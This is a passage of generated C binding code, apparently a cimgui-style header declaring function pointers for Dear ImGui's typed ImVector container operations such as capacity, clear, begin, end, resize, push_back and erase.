int (* ImVector_ImWchar_size_in_bytes) (const ImVector_ImWchar* self);
int (* ImVector_ImFontConfig_size_in_bytes) (const ImVector_ImFontConfig* self);
int (* ImVector_ImFontGlyph_size_in_bytes) (const ImVector_ImFontGlyph* self);
int (* ImVector_TextRange_size_in_bytes) (const ImVector_TextRange* self);
int (* ImVector_CustomRect_size_in_bytes) (const ImVector_CustomRect* self);
int (* ImVector_ImDrawChannel_size_in_bytes) (const ImVector_ImDrawChannel* self);
int (* ImVector_char_size_in_bytes) (const ImVector_char* self);
int (* ImVector_ImTextureID_size_in_bytes) (const ImVector_ImTextureID* self);
int (* ImVector_ImDrawVert_size_in_bytes) (const ImVector_ImDrawVert* self);
int (* ImVector_int_size_in_bytes) (const ImVector_int* self);
int (* ImVector_Pair_size_in_bytes) (const ImVector_Pair* self);
int (* ImVector_ImFontPtr_size_in_bytes) (const ImVector_ImFontPtr* self);
int (* ImVector_ImVec4_size_in_bytes) (const ImVector_ImVec4* self);
int (* ImVector_ImDrawCmd_size_in_bytes) (const ImVector_ImDrawCmd* self);
int (* ImVector_ImDrawIdx_size_in_bytes) (const ImVector_ImDrawIdx* self);
int (* ImVector_ImVec2_size_in_bytes) (const ImVector_ImVec2* self);
int (* ImVector_float_capacity) (const ImVector_float* self);
int (* ImVector_ImWchar_capacity) (const ImVector_ImWchar* self);
int (* ImVector_ImFontConfig_capacity) (const ImVector_ImFontConfig* self);
int (* ImVector_ImFontGlyph_capacity) (const ImVector_ImFontGlyph* self);
int (* ImVector_TextRange_capacity) (const ImVector_TextRange* self);
int (* ImVector_CustomRect_capacity) (const ImVector_CustomRect* self);
int (* ImVector_ImDrawChannel_capacity) (const ImVector_ImDrawChannel* self);
int (* ImVector_char_capacity) (const ImVector_char* self);
int (* ImVector_ImTextureID_capacity) (const ImVector_ImTextureID* self);
int (* ImVector_ImDrawVert_capacity) (const ImVector_ImDrawVert* self);
int (* ImVector_int_capacity) (const ImVector_int* self);
int (* ImVector_Pair_capacity) (const ImVector_Pair* self);
int (* ImVector_ImFontPtr_capacity) (const ImVector_ImFontPtr* self);
int (* ImVector_ImVec4_capacity) (const ImVector_ImVec4* self);
int (* ImVector_ImDrawCmd_capacity) (const ImVector_ImDrawCmd* self);
int (* ImVector_ImDrawIdx_capacity) (const ImVector_ImDrawIdx* self);
int (* ImVector_ImVec2_capacity) (const ImVector_ImVec2* self);
void (* ImVector_float_clear) (ImVector_float* self);
void (* ImVector_ImWchar_clear) (ImVector_ImWchar* self);
void (* ImVector_ImFontConfig_clear) (ImVector_ImFontConfig* self);
void (* ImVector_ImFontGlyph_clear) (ImVector_ImFontGlyph* self);
void (* ImVector_TextRange_clear) (ImVector_TextRange* self);
void (* ImVector_CustomRect_clear) (ImVector_CustomRect* self);
void (* ImVector_ImDrawChannel_clear) (ImVector_ImDrawChannel* self);
void (* ImVector_char_clear) (ImVector_char* self);
void (* ImVector_ImTextureID_clear) (ImVector_ImTextureID* self);
void (* ImVector_ImDrawVert_clear) (ImVector_ImDrawVert* self);
void (* ImVector_int_clear) (ImVector_int* self);
void (* ImVector_Pair_clear) (ImVector_Pair* self);
void (* ImVector_ImFontPtr_clear) (ImVector_ImFontPtr* self);
void (* ImVector_ImVec4_clear) (ImVector_ImVec4* self);
void (* ImVector_ImDrawCmd_clear) (ImVector_ImDrawCmd* self);
void (* ImVector_ImDrawIdx_clear) (ImVector_ImDrawIdx* self);
void (* ImVector_ImVec2_clear) (ImVector_ImVec2* self);
float* (* ImVector_float_begin) (ImVector_float* self);
ImWchar* (* ImVector_ImWchar_begin) (ImVector_ImWchar* self);
ImFontConfig* (* ImVector_ImFontConfig_begin) (ImVector_ImFontConfig* self);
ImFontGlyph* (* ImVector_ImFontGlyph_begin) (ImVector_ImFontGlyph* self);
TextRange* (* ImVector_TextRange_begin) (ImVector_TextRange* self);
CustomRect* (* ImVector_CustomRect_begin) (ImVector_CustomRect* self);
ImDrawChannel* (* ImVector_ImDrawChannel_begin) (ImVector_ImDrawChannel* self);
char* (* ImVector_char_begin) (ImVector_char* self);
ImTextureID* (* ImVector_ImTextureID_begin) (ImVector_ImTextureID* self);
ImDrawVert* (* ImVector_ImDrawVert_begin) (ImVector_ImDrawVert* self);
int* (* ImVector_int_begin) (ImVector_int* self);
Pair* (* ImVector_Pair_begin) (ImVector_Pair* self);
ImFont** (* ImVector_ImFontPtr_begin) (ImVector_ImFontPtr* self);
ImVec4* (* ImVector_ImVec4_begin) (ImVector_ImVec4* self);
ImDrawCmd* (* ImVector_ImDrawCmd_begin) (ImVector_ImDrawCmd* self);
ImDrawIdx* (* ImVector_ImDrawIdx_begin) (ImVector_ImDrawIdx* self);
ImVec2* (* ImVector_ImVec2_begin) (ImVector_ImVec2* self);
float const * (* ImVector_float_begin_const) (const ImVector_float* self);
ImWchar const * (* ImVector_ImWchar_begin_const) (const ImVector_ImWchar* self);
ImFontConfig const * (* ImVector_ImFontConfig_begin_const) (const ImVector_ImFontConfig* self);
ImFontGlyph const * (* ImVector_ImFontGlyph_begin_const) (const ImVector_ImFontGlyph* self);
TextRange const * (* ImVector_TextRange_begin_const) (const ImVector_TextRange* self);
CustomRect const * (* ImVector_CustomRect_begin_const) (const ImVector_CustomRect* self);
ImDrawChannel const * (* ImVector_ImDrawChannel_begin_const) (const ImVector_ImDrawChannel* self);
char const * (* ImVector_char_begin_const) (const ImVector_char* self);
ImTextureID const * (* ImVector_ImTextureID_begin_const) (const ImVector_ImTextureID* self);
ImDrawVert const * (* ImVector_ImDrawVert_begin_const) (const ImVector_ImDrawVert* self);
int const * (* ImVector_int_begin_const) (const ImVector_int* self);
Pair const * (* ImVector_Pair_begin_const) (const ImVector_Pair* self);
ImFont* const * (* ImVector_ImFontPtr_begin_const) (const ImVector_ImFontPtr* self);
ImVec4 const * (* ImVector_ImVec4_begin_const) (const ImVector_ImVec4* self);
ImDrawCmd const * (* ImVector_ImDrawCmd_begin_const) (const ImVector_ImDrawCmd* self);
ImDrawIdx const * (* ImVector_ImDrawIdx_begin_const) (const ImVector_ImDrawIdx* self);
ImVec2 const * (* ImVector_ImVec2_begin_const) (const ImVector_ImVec2* self);
float* (* ImVector_float_end) (ImVector_float* self);
ImWchar* (* ImVector_ImWchar_end) (ImVector_ImWchar* self);
ImFontConfig* (* ImVector_ImFontConfig_end) (ImVector_ImFontConfig* self);
ImFontGlyph* (* ImVector_ImFontGlyph_end) (ImVector_ImFontGlyph* self);
TextRange* (* ImVector_TextRange_end) (ImVector_TextRange* self);
CustomRect* (* ImVector_CustomRect_end) (ImVector_CustomRect* self);
ImDrawChannel* (* ImVector_ImDrawChannel_end) (ImVector_ImDrawChannel* self);
char* (* ImVector_char_end) (ImVector_char* self);
ImTextureID* (* ImVector_ImTextureID_end) (ImVector_ImTextureID* self);
ImDrawVert* (* ImVector_ImDrawVert_end) (ImVector_ImDrawVert* self);
int* (* ImVector_int_end) (ImVector_int* self);
Pair* (* ImVector_Pair_end) (ImVector_Pair* self);
ImFont** (* ImVector_ImFontPtr_end) (ImVector_ImFontPtr* self);
ImVec4* (* ImVector_ImVec4_end) (ImVector_ImVec4* self);
ImDrawCmd* (* ImVector_ImDrawCmd_end) (ImVector_ImDrawCmd* self);
ImDrawIdx* (* ImVector_ImDrawIdx_end) (ImVector_ImDrawIdx* self);
ImVec2* (* ImVector_ImVec2_end) (ImVector_ImVec2* self);
float const * (* ImVector_float_end_const) (const ImVector_float* self);
ImWchar const * (* ImVector_ImWchar_end_const) (const ImVector_ImWchar* self);
ImFontConfig const * (* ImVector_ImFontConfig_end_const) (const ImVector_ImFontConfig* self);
ImFontGlyph const * (* ImVector_ImFontGlyph_end_const) (const ImVector_ImFontGlyph* self);
TextRange const * (* ImVector_TextRange_end_const) (const ImVector_TextRange* self);
CustomRect const * (* ImVector_CustomRect_end_const) (const ImVector_CustomRect* self);
ImDrawChannel const * (* ImVector_ImDrawChannel_end_const) (const ImVector_ImDrawChannel* self);
char const * (* ImVector_char_end_const) (const ImVector_char* self);
ImTextureID const * (* ImVector_ImTextureID_end_const) (const ImVector_ImTextureID* self);
ImDrawVert const * (* ImVector_ImDrawVert_end_const) (const ImVector_ImDrawVert* self);
int const * (* ImVector_int_end_const) (const ImVector_int* self);
Pair const * (* ImVector_Pair_end_const) (const ImVector_Pair* self);
ImFont* const * (* ImVector_ImFontPtr_end_const) (const ImVector_ImFontPtr* self);
ImVec4 const * (* ImVector_ImVec4_end_const) (const ImVector_ImVec4* self);
ImDrawCmd const * (* ImVector_ImDrawCmd_end_const) (const ImVector_ImDrawCmd* self);
ImDrawIdx const * (* ImVector_ImDrawIdx_end_const) (const ImVector_ImDrawIdx* self);
ImVec2 const * (* ImVector_ImVec2_end_const) (const ImVector_ImVec2* self);
float* (* ImVector_float_front) (ImVector_float* self);
ImWchar* (* ImVector_ImWchar_front) (ImVector_ImWchar* self);
ImFontConfig* (* ImVector_ImFontConfig_front) (ImVector_ImFontConfig* self);
ImFontGlyph* (* ImVector_ImFontGlyph_front) (ImVector_ImFontGlyph* self);
TextRange* (* ImVector_TextRange_front) (ImVector_TextRange* self);
CustomRect* (* ImVector_CustomRect_front) (ImVector_CustomRect* self);
ImDrawChannel* (* ImVector_ImDrawChannel_front) (ImVector_ImDrawChannel* self);
char* (* ImVector_char_front) (ImVector_char* self);
ImTextureID* (* ImVector_ImTextureID_front) (ImVector_ImTextureID* self);
ImDrawVert* (* ImVector_ImDrawVert_front) (ImVector_ImDrawVert* self);
int* (* ImVector_int_front) (ImVector_int* self);
Pair* (* ImVector_Pair_front) (ImVector_Pair* self);
ImFont** (* ImVector_ImFontPtr_front) (ImVector_ImFontPtr* self);
ImVec4* (* ImVector_ImVec4_front) (ImVector_ImVec4* self);
ImDrawCmd* (* ImVector_ImDrawCmd_front) (ImVector_ImDrawCmd* self);
ImDrawIdx* (* ImVector_ImDrawIdx_front) (ImVector_ImDrawIdx* self);
ImVec2* (* ImVector_ImVec2_front) (ImVector_ImVec2* self);
float const * (* ImVector_float_front_const) (const ImVector_float* self);
ImWchar const * (* ImVector_ImWchar_front_const) (const ImVector_ImWchar* self);
ImFontConfig const * (* ImVector_ImFontConfig_front_const) (const ImVector_ImFontConfig* self);
ImFontGlyph const * (* ImVector_ImFontGlyph_front_const) (const ImVector_ImFontGlyph* self);
TextRange const * (* ImVector_TextRange_front_const) (const ImVector_TextRange* self);
CustomRect const * (* ImVector_CustomRect_front_const) (const ImVector_CustomRect* self);
ImDrawChannel const * (* ImVector_ImDrawChannel_front_const) (const ImVector_ImDrawChannel* self);
char const * (* ImVector_char_front_const) (const ImVector_char* self);
ImTextureID const * (* ImVector_ImTextureID_front_const) (const ImVector_ImTextureID* self);
ImDrawVert const * (* ImVector_ImDrawVert_front_const) (const ImVector_ImDrawVert* self);
int const * (* ImVector_int_front_const) (const ImVector_int* self);
Pair const * (* ImVector_Pair_front_const) (const ImVector_Pair* self);
ImFont* const * (* ImVector_ImFontPtr_front_const) (const ImVector_ImFontPtr* self);
ImVec4 const * (* ImVector_ImVec4_front_const) (const ImVector_ImVec4* self);
ImDrawCmd const * (* ImVector_ImDrawCmd_front_const) (const ImVector_ImDrawCmd* self);
ImDrawIdx const * (* ImVector_ImDrawIdx_front_const) (const ImVector_ImDrawIdx* self);
ImVec2 const * (* ImVector_ImVec2_front_const) (const ImVector_ImVec2* self);
float* (* ImVector_float_back) (ImVector_float* self);
ImWchar* (* ImVector_ImWchar_back) (ImVector_ImWchar* self);
ImFontConfig* (* ImVector_ImFontConfig_back) (ImVector_ImFontConfig* self);
ImFontGlyph* (* ImVector_ImFontGlyph_back) (ImVector_ImFontGlyph* self);
TextRange* (* ImVector_TextRange_back) (ImVector_TextRange* self);
CustomRect* (* ImVector_CustomRect_back) (ImVector_CustomRect* self);
ImDrawChannel* (* ImVector_ImDrawChannel_back) (ImVector_ImDrawChannel* self);
char* (* ImVector_char_back) (ImVector_char* self);
ImTextureID* (* ImVector_ImTextureID_back) (ImVector_ImTextureID* self);
ImDrawVert* (* ImVector_ImDrawVert_back) (ImVector_ImDrawVert* self);
int* (* ImVector_int_back) (ImVector_int* self);
Pair* (* ImVector_Pair_back) (ImVector_Pair* self);
ImFont** (* ImVector_ImFontPtr_back) (ImVector_ImFontPtr* self);
ImVec4* (* ImVector_ImVec4_back) (ImVector_ImVec4* self);
ImDrawCmd* (* ImVector_ImDrawCmd_back) (ImVector_ImDrawCmd* self);
ImDrawIdx* (* ImVector_ImDrawIdx_back) (ImVector_ImDrawIdx* self);
ImVec2* (* ImVector_ImVec2_back) (ImVector_ImVec2* self);
float const * (* ImVector_float_back_const) (const ImVector_float* self);
ImWchar const * (* ImVector_ImWchar_back_const) (const ImVector_ImWchar* self);
ImFontConfig const * (* ImVector_ImFontConfig_back_const) (const ImVector_ImFontConfig* self);
ImFontGlyph const * (* ImVector_ImFontGlyph_back_const) (const ImVector_ImFontGlyph* self);
TextRange const * (* ImVector_TextRange_back_const) (const ImVector_TextRange* self);
CustomRect const * (* ImVector_CustomRect_back_const) (const ImVector_CustomRect* self);
ImDrawChannel const * (* ImVector_ImDrawChannel_back_const) (const ImVector_ImDrawChannel* self);
char const * (* ImVector_char_back_const) (const ImVector_char* self);
ImTextureID const * (* ImVector_ImTextureID_back_const) (const ImVector_ImTextureID* self);
ImDrawVert const * (* ImVector_ImDrawVert_back_const) (const ImVector_ImDrawVert* self);
int const * (* ImVector_int_back_const) (const ImVector_int* self);
Pair const * (* ImVector_Pair_back_const) (const ImVector_Pair* self);
ImFont* const * (* ImVector_ImFontPtr_back_const) (const ImVector_ImFontPtr* self);
ImVec4 const * (* ImVector_ImVec4_back_const) (const ImVector_ImVec4* self);
ImDrawCmd const * (* ImVector_ImDrawCmd_back_const) (const ImVector_ImDrawCmd* self);
ImDrawIdx const * (* ImVector_ImDrawIdx_back_const) (const ImVector_ImDrawIdx* self);
ImVec2 const * (* ImVector_ImVec2_back_const) (const ImVector_ImVec2* self);
void (* ImVector_float_swap) (ImVector_float* self,ImVector_float rhs);
void (* ImVector_ImWchar_swap) (ImVector_ImWchar* self,ImVector_ImWchar rhs);
void (* ImVector_ImFontConfig_swap) (ImVector_ImFontConfig* self,ImVector_ImFontConfig rhs);
void (* ImVector_ImFontGlyph_swap) (ImVector_ImFontGlyph* self,ImVector_ImFontGlyph rhs);
void (* ImVector_TextRange_swap) (ImVector_TextRange* self,ImVector_TextRange rhs);
void (* ImVector_CustomRect_swap) (ImVector_CustomRect* self,ImVector_CustomRect rhs);
void (* ImVector_ImDrawChannel_swap) (ImVector_ImDrawChannel* self,ImVector_ImDrawChannel rhs);
void (* ImVector_char_swap) (ImVector_char* self,ImVector_char rhs);
void (* ImVector_ImTextureID_swap) (ImVector_ImTextureID* self,ImVector_ImTextureID rhs);
void (* ImVector_ImDrawVert_swap) (ImVector_ImDrawVert* self,ImVector_ImDrawVert rhs);
void (* ImVector_int_swap) (ImVector_int* self,ImVector_int rhs);
void (* ImVector_Pair_swap) (ImVector_Pair* self,ImVector_Pair rhs);
void (* ImVector_ImFontPtr_swap) (ImVector_ImFontPtr* self,ImVector_ImFontPtr rhs);
void (* ImVector_ImVec4_swap) (ImVector_ImVec4* self,ImVector_ImVec4 rhs);
void (* ImVector_ImDrawCmd_swap) (ImVector_ImDrawCmd* self,ImVector_ImDrawCmd rhs);
void (* ImVector_ImDrawIdx_swap) (ImVector_ImDrawIdx* self,ImVector_ImDrawIdx rhs);
void (* ImVector_ImVec2_swap) (ImVector_ImVec2* self,ImVector_ImVec2 rhs);
int (* ImVector_float__grow_capacity) (const ImVector_float* self,int sz);
int (* ImVector_ImWchar__grow_capacity) (const ImVector_ImWchar* self,int sz);
int (* ImVector_ImFontConfig__grow_capacity) (const ImVector_ImFontConfig* self,int sz);
int (* ImVector_ImFontGlyph__grow_capacity) (const ImVector_ImFontGlyph* self,int sz);
int (* ImVector_TextRange__grow_capacity) (const ImVector_TextRange* self,int sz);
int (* ImVector_CustomRect__grow_capacity) (const ImVector_CustomRect* self,int sz);
int (* ImVector_ImDrawChannel__grow_capacity) (const ImVector_ImDrawChannel* self,int sz);
int (* ImVector_char__grow_capacity) (const ImVector_char* self,int sz);
int (* ImVector_ImTextureID__grow_capacity) (const ImVector_ImTextureID* self,int sz);
int (* ImVector_ImDrawVert__grow_capacity) (const ImVector_ImDrawVert* self,int sz);
int (* ImVector_int__grow_capacity) (const ImVector_int* self,int sz);
int (* ImVector_Pair__grow_capacity) (const ImVector_Pair* self,int sz);
int (* ImVector_ImFontPtr__grow_capacity) (const ImVector_ImFontPtr* self,int sz);
int (* ImVector_ImVec4__grow_capacity) (const ImVector_ImVec4* self,int sz);
int (* ImVector_ImDrawCmd__grow_capacity) (const ImVector_ImDrawCmd* self,int sz);
int (* ImVector_ImDrawIdx__grow_capacity) (const ImVector_ImDrawIdx* self,int sz);
int (* ImVector_ImVec2__grow_capacity) (const ImVector_ImVec2* self,int sz);
void (* ImVector_float_resize) (ImVector_float* self,int new_size);
void (* ImVector_ImWchar_resize) (ImVector_ImWchar* self,int new_size);
void (* ImVector_ImFontConfig_resize) (ImVector_ImFontConfig* self,int new_size);
void (* ImVector_ImFontGlyph_resize) (ImVector_ImFontGlyph* self,int new_size);
void (* ImVector_TextRange_resize) (ImVector_TextRange* self,int new_size);
void (* ImVector_CustomRect_resize) (ImVector_CustomRect* self,int new_size);
void (* ImVector_ImDrawChannel_resize) (ImVector_ImDrawChannel* self,int new_size);
void (* ImVector_char_resize) (ImVector_char* self,int new_size);
void (* ImVector_ImTextureID_resize) (ImVector_ImTextureID* self,int new_size);
void (* ImVector_ImDrawVert_resize) (ImVector_ImDrawVert* self,int new_size);
void (* ImVector_int_resize) (ImVector_int* self,int new_size);
void (* ImVector_Pair_resize) (ImVector_Pair* self,int new_size);
void (* ImVector_ImFontPtr_resize) (ImVector_ImFontPtr* self,int new_size);
void (* ImVector_ImVec4_resize) (ImVector_ImVec4* self,int new_size);
void (* ImVector_ImDrawCmd_resize) (ImVector_ImDrawCmd* self,int new_size);
void (* ImVector_ImDrawIdx_resize) (ImVector_ImDrawIdx* self,int new_size);
void (* ImVector_ImVec2_resize) (ImVector_ImVec2* self,int new_size);
void (* ImVector_float_resizeT) (ImVector_float* self,int new_size,const float v);
void (* ImVector_ImWchar_resizeT) (ImVector_ImWchar* self,int new_size,const ImWchar v);
void (* ImVector_ImFontConfig_resizeT) (ImVector_ImFontConfig* self,int new_size,const ImFontConfig v);
void (* ImVector_ImFontGlyph_resizeT) (ImVector_ImFontGlyph* self,int new_size,const ImFontGlyph v);
void (* ImVector_TextRange_resizeT) (ImVector_TextRange* self,int new_size,const TextRange v);
void (* ImVector_CustomRect_resizeT) (ImVector_CustomRect* self,int new_size,const CustomRect v);
void (* ImVector_ImDrawChannel_resizeT) (ImVector_ImDrawChannel* self,int new_size,const ImDrawChannel v);
void (* ImVector_char_resizeT) (ImVector_char* self,int new_size,const char v);
void (* ImVector_ImTextureID_resizeT) (ImVector_ImTextureID* self,int new_size,const ImTextureID v);
void (* ImVector_ImDrawVert_resizeT) (ImVector_ImDrawVert* self,int new_size,const ImDrawVert v);
void (* ImVector_int_resizeT) (ImVector_int* self,int new_size,const int v);
void (* ImVector_Pair_resizeT) (ImVector_Pair* self,int new_size,const Pair v);
void (* ImVector_ImFontPtr_resizeT) (ImVector_ImFontPtr* self,int new_size,ImFont* const v);
void (* ImVector_ImVec4_resizeT) (ImVector_ImVec4* self,int new_size,const ImVec4 v);
void (* ImVector_ImDrawCmd_resizeT) (ImVector_ImDrawCmd* self,int new_size,const ImDrawCmd v);
void (* ImVector_ImDrawIdx_resizeT) (ImVector_ImDrawIdx* self,int new_size,const ImDrawIdx v);
void (* ImVector_ImVec2_resizeT) (ImVector_ImVec2* self,int new_size,const ImVec2 v);
void (* ImVector_float_reserve) (ImVector_float* self,int new_capacity);
void (* ImVector_ImWchar_reserve) (ImVector_ImWchar* self,int new_capacity);
void (* ImVector_ImFontConfig_reserve) (ImVector_ImFontConfig* self,int new_capacity);
void (* ImVector_ImFontGlyph_reserve) (ImVector_ImFontGlyph* self,int new_capacity);
void (* ImVector_TextRange_reserve) (ImVector_TextRange* self,int new_capacity);
void (* ImVector_CustomRect_reserve) (ImVector_CustomRect* self,int new_capacity);
void (* ImVector_ImDrawChannel_reserve) (ImVector_ImDrawChannel* self,int new_capacity);
void (* ImVector_char_reserve) (ImVector_char* self,int new_capacity);
void (* ImVector_ImTextureID_reserve) (ImVector_ImTextureID* self,int new_capacity);
void (* ImVector_ImDrawVert_reserve) (ImVector_ImDrawVert* self,int new_capacity);
void (* ImVector_int_reserve) (ImVector_int* self,int new_capacity);
void (* ImVector_Pair_reserve) (ImVector_Pair* self,int new_capacity);
void (* ImVector_ImFontPtr_reserve) (ImVector_ImFontPtr* self,int new_capacity);
void (* ImVector_ImVec4_reserve) (ImVector_ImVec4* self,int new_capacity);
void (* ImVector_ImDrawCmd_reserve) (ImVector_ImDrawCmd* self,int new_capacity);
void (* ImVector_ImDrawIdx_reserve) (ImVector_ImDrawIdx* self,int new_capacity);
void (* ImVector_ImVec2_reserve) (ImVector_ImVec2* self,int new_capacity);
void (* ImVector_float_push_back) (ImVector_float* self,const float v);
void (* ImVector_ImWchar_push_back) (ImVector_ImWchar* self,const ImWchar v);
void (* ImVector_ImFontConfig_push_back) (ImVector_ImFontConfig* self,const ImFontConfig v);
void (* ImVector_ImFontGlyph_push_back) (ImVector_ImFontGlyph* self,const ImFontGlyph v);
void (* ImVector_TextRange_push_back) (ImVector_TextRange* self,const TextRange v);
void (* ImVector_CustomRect_push_back) (ImVector_CustomRect* self,const CustomRect v);
void (* ImVector_ImDrawChannel_push_back) (ImVector_ImDrawChannel* self,const ImDrawChannel v);
void (* ImVector_char_push_back) (ImVector_char* self,const char v);
void (* ImVector_ImTextureID_push_back) (ImVector_ImTextureID* self,const ImTextureID v);
void (* ImVector_ImDrawVert_push_back) (ImVector_ImDrawVert* self,const ImDrawVert v);
void (* ImVector_int_push_back) (ImVector_int* self,const int v);
void (* ImVector_Pair_push_back) (ImVector_Pair* self,const Pair v);
void (* ImVector_ImFontPtr_push_back) (ImVector_ImFontPtr* self,ImFont* const v);
void (* ImVector_ImVec4_push_back) (ImVector_ImVec4* self,const ImVec4 v);
void (* ImVector_ImDrawCmd_push_back) (ImVector_ImDrawCmd* self,const ImDrawCmd v);
void (* ImVector_ImDrawIdx_push_back) (ImVector_ImDrawIdx* self,const ImDrawIdx v);
void (* ImVector_ImVec2_push_back) (ImVector_ImVec2* self,const ImVec2 v);
void (* ImVector_float_pop_back) (ImVector_float* self);
void (* ImVector_ImWchar_pop_back) (ImVector_ImWchar* self);
void (* ImVector_ImFontConfig_pop_back) (ImVector_ImFontConfig* self);
void (* ImVector_ImFontGlyph_pop_back) (ImVector_ImFontGlyph* self);
void (* ImVector_TextRange_pop_back) (ImVector_TextRange* self);
void (* ImVector_CustomRect_pop_back) (ImVector_CustomRect* self);
void (* ImVector_ImDrawChannel_pop_back) (ImVector_ImDrawChannel* self);
void (* ImVector_char_pop_back) (ImVector_char* self);
void (* ImVector_ImTextureID_pop_back) (ImVector_ImTextureID* self);
void (* ImVector_ImDrawVert_pop_back) (ImVector_ImDrawVert* self);
void (* ImVector_int_pop_back) (ImVector_int* self);
void (* ImVector_Pair_pop_back) (ImVector_Pair* self);
void (* ImVector_ImFontPtr_pop_back) (ImVector_ImFontPtr* self);
void (* ImVector_ImVec4_pop_back) (ImVector_ImVec4* self);
void (* ImVector_ImDrawCmd_pop_back) (ImVector_ImDrawCmd* self);
void (* ImVector_ImDrawIdx_pop_back) (ImVector_ImDrawIdx* self);
void (* ImVector_ImVec2_pop_back) (ImVector_ImVec2* self);
void (* ImVector_float_push_front) (ImVector_float* self,const float v);
void (* ImVector_ImWchar_push_front) (ImVector_ImWchar* self,const ImWchar v);
void (* ImVector_ImFontConfig_push_front) (ImVector_ImFontConfig* self,const ImFontConfig v);
void (* ImVector_ImFontGlyph_push_front) (ImVector_ImFontGlyph* self,const ImFontGlyph v);
void (* ImVector_TextRange_push_front) (ImVector_TextRange* self,const TextRange v);
void (* ImVector_CustomRect_push_front) (ImVector_CustomRect* self,const CustomRect v);
void (* ImVector_ImDrawChannel_push_front) (ImVector_ImDrawChannel* self,const ImDrawChannel v);
void (* ImVector_char_push_front) (ImVector_char* self,const char v);
void (* ImVector_ImTextureID_push_front) (ImVector_ImTextureID* self,const ImTextureID v);
void (* ImVector_ImDrawVert_push_front) (ImVector_ImDrawVert* self,const ImDrawVert v);
void (* ImVector_int_push_front) (ImVector_int* self,const int v);
void (* ImVector_Pair_push_front) (ImVector_Pair* self,const Pair v);
void (* ImVector_ImFontPtr_push_front) (ImVector_ImFontPtr* self,ImFont* const v);
void (* ImVector_ImVec4_push_front) (ImVector_ImVec4* self,const ImVec4 v);
void (* ImVector_ImDrawCmd_push_front) (ImVector_ImDrawCmd* self,const ImDrawCmd v);
void (* ImVector_ImDrawIdx_push_front) (ImVector_ImDrawIdx* self,const ImDrawIdx v);
void (* ImVector_ImVec2_push_front) (ImVector_ImVec2* self,const ImVec2 v);
float* (* ImVector_float_erase) (ImVector_float* self,float const * it);
ImWchar* (* ImVector_ImWchar_erase) (ImVector_ImWchar* self,ImWchar const * it);
ImFontConfig* (* ImVector_ImFontConfig_erase) (ImVector_ImFontConfig* self,ImFontConfig const * it);
ImFontGlyph* (* ImVector_ImFontGlyph_erase) (ImVector_ImFontGlyph* self,ImFontGlyph const * it);
TextRange* (* ImVector_TextRange_erase) (ImVector_TextRange* self,TextRange const * it);
CustomRect* (* ImVector_CustomRect_erase) (ImVector_CustomRect* self,CustomRect const * it);
ImDrawChannel* (* ImVector_ImDrawChannel_erase) (ImVector_ImDrawChannel* self,ImDrawChannel const * it);
char* (* ImVector_char_erase) (ImVector_char* self,char const * it);
ImTextureID* (* ImVector_ImTextureID_erase) (ImVector_ImTextureID* self,ImTextureID const * it);
ImDrawVert* (* ImVector_ImDrawVert_erase) (ImVector_ImDrawVert* self,ImDrawVert const * it);
int* (* ImVector_int_erase) (ImVector_int* self,int const * it);
Pair* (* ImVector_Pair_erase) (ImVector_Pair* self,Pair const * it);
ImFont** (* ImVector_ImFontPtr_erase) (ImVector_ImFontPtr* self,ImFont* const * it);
ImVec4* (* ImVector_ImVec4_erase) (ImVector_ImVec4* self,ImVec4 const * it);
ImDrawCmd* (* ImVector_ImDrawCmd_erase) (ImVector_ImDrawCmd* self,ImDrawCmd const * it);
ImDrawIdx* (* ImVector_ImDrawIdx_erase) (ImVector_ImDrawIdx* self,ImDrawIdx const * it);
ImVec2* (* ImVector_ImVec2_erase) (ImVector_ImVec2* self,ImVec2 const * it);
float* (* ImVector_float_eraseTPtr) (ImVector_float* self,float const * it,float const * it_last);
ImWchar* (* ImVector_ImWchar_eraseTPtr) (ImVector_ImWchar* self,ImWchar const * it,ImWchar const * it_last);
ImFontConfig* (* ImVector_ImFontConfig_eraseTPtr) (ImVector_ImFontConfig* self,ImFontConfig const * it,ImFontConfig const * it_last);
ImFontGlyph* (* ImVector_ImFontGlyph_eraseTPtr) (ImVector_ImFontGlyph* self,ImFontGlyph const * it,ImFontGlyph const * it_last);
TextRange* (* ImVector_TextRange_eraseTPtr) (ImVector_TextRange* self,TextRange const * it,TextRange const * it_last);
CustomRect* (* ImVector_CustomRect_eraseTPtr) (ImVector_CustomRect* self,CustomRect const * it,CustomRect const * it_last);
ImDrawChannel* (* ImVector_ImDrawChannel_eraseTPtr) (ImVector_ImDrawChannel* self,ImDrawChannel const * it,ImDrawChannel const * it_last);
char* (* ImVector_char_eraseTPtr) (ImVector_char* self,char const * it,char const * it_last);
ImTextureID* (* ImVector_ImTextureID_eraseTPtr) (ImVector_ImTextureID* self,ImTextureID const * it,ImTextureID const * it_last);
ImDrawVert* (* ImVector_ImDrawVert_eraseTPtr) (ImVector_ImDrawVert* self,ImDrawVert const * it,ImDrawVert const * it_last);
int* (* ImVector_int_eraseTPtr) (ImVector_int* self,int const * it,int const * it_last);
Pair* (* ImVector_Pair_eraseTPtr) (ImVector_Pair* self,Pair const * it,Pair const * it_last);
ImFont** (* ImVector_ImFontPtr_eraseTPtr) (ImVector_ImFontPtr* self,ImFont* const * it,ImFont* const * it_last);
ImVec4* (* ImVector_ImVec4_eraseTPtr) (ImVector_ImVec4* self,ImVec4 const * it,ImVec4 const * it_last);
ImDrawCmd* (* ImVector_ImDrawCmd_eraseTPtr) (ImVector_ImDrawCmd* self,ImDrawCmd const * it,ImDrawCmd const * it_last);
ImDrawIdx* (* ImVector_ImDrawIdx_eraseTPtr) (ImVector_ImDrawIdx* self,ImDrawIdx const * it,ImDrawIdx const * it_last);
ImVec2* (* ImVector_ImVec2_eraseTPtr) (ImVector_ImVec2* self,ImVec2 const * it,ImVec2 const * it_last);
float* (* ImVector_float_erase_unsorted) (ImVector_float* self,float const * it);
ImWchar* (* ImVector_ImWchar_erase_unsorted) (ImVector_ImWchar* self,ImWchar const * it);
ImFontConfig* (* ImVector_ImFontConfig_erase_unsorted) (ImVector_ImFontConfig* self,ImFontConfig const * it);
ImFontGlyph* (* ImVector_ImFontGlyph_erase_unsorted) (ImVector_ImFontGlyph* self,ImFontGlyph const * it);
TextRange* (* ImVector_TextRange_erase_unsorted) (ImVector_TextRange* self,TextRange const * it);
CustomRect* (* ImVector_CustomRect_erase_unsorted) (ImVector_CustomRect* self,CustomRect const * it);
ImDrawChannel* (* ImVector_ImDrawChannel_erase_unsorted) (ImVector_ImDrawChannel* self,ImDrawChannel const * it);
char* (* ImVector_char_erase_unsorted) (ImVector_char* self,char const * it);
